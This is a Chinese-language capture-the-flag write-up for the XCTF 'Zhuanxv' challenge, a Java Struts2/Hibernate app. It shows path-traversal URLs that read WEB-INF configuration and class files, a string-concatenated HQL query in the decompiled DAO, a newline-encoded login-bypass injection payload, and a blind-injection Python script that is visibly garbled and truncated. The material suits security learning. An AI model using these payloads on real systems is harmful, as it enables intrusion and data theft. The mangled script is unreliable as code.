【XCTF】Zhuanxv收获

  • java题的一般流程

  • HQL注入

  • SQL注入

看题

  • 目录扫描

    dirsearch扫目录,发现list目录:

    一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:

    js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。

  • 读源码

    先查看web.xml文件:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml

    直接得到bg.jpg文件,更改其后缀为xml:

        Struts Blank            struts2        org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter                struts2        /*                /ctfpage/index.jsp                404        /ctfpage/404.html    

    这里可以看到是一个struts2框架,于是我们找一下strust.xml:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml

    得到:

                                                                /ctfpage/login.jsp            /ctfpage/welcome.jsp                                            image/jpeg                attachment;filename="bg.jpg"                downloadFile                        /ctfpage/welcome.jsp                                                                                                                                                            execute                                        /ctfpage/login.jsp            /ctfpage/welcome.jsp            /ctfpage/welcome.jsp            

    为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class

    看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

    反编译成Java文件后发现引用了applicationContext.xml,继续查看:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

    源码:

                            com.mysql.jdbc.Driver                            jdbc:mysql://localhost:3306/sctf                                                                                user.hbm.xml                                            org.hibernate.dialect.MySQLDialect                true                                                                                                                                                                    PROPAGATION_REQUIRED                PROPAGATION_REQUIRED,readOnly                                                                                                

    可以看到,这里是连接数据库的关键代码。看一下这些class文件:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml

    user.hbm.xml源码:

                                                                                                    

    UserDaoImpl.class:

    package com.cuitctf.dao.impl;import com.cuitctf.dao.UserDao;import com.cuitctf.po.User;import java.util.List;import org.springframework.orm.hibernate3.support.HibernateDaoSupport;public class UserDaoImpl extends HibernateDaoSupport implements UserDao {    public UserDaoImpl() {    }    public List findUserByName(String name) {        return this.getHibernateTemplate().find("from User where name ='" + name + "'");    }    public List loginCheck(String name, String password) {        return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");    }}
  • 利用

    看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:

    from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

    这里使用’1′>’0’的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。

    admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

    登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。

    虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。

  • 注入

    贴上大佬的盲注脚本:

    import requestss = requests.session()flag = ''for i in range(1, 50):    p = ''    for j in range(1, 255):        # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '        payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2) 20000 and p != '':            flag += p            print(i, flag)            break        p = chr(j)

参考文章

javaweb项目的文件结构

总结

跟着大佬博客开始学习到java安全相关的东西了。跟同龄大佬的差距真大….真是太低手了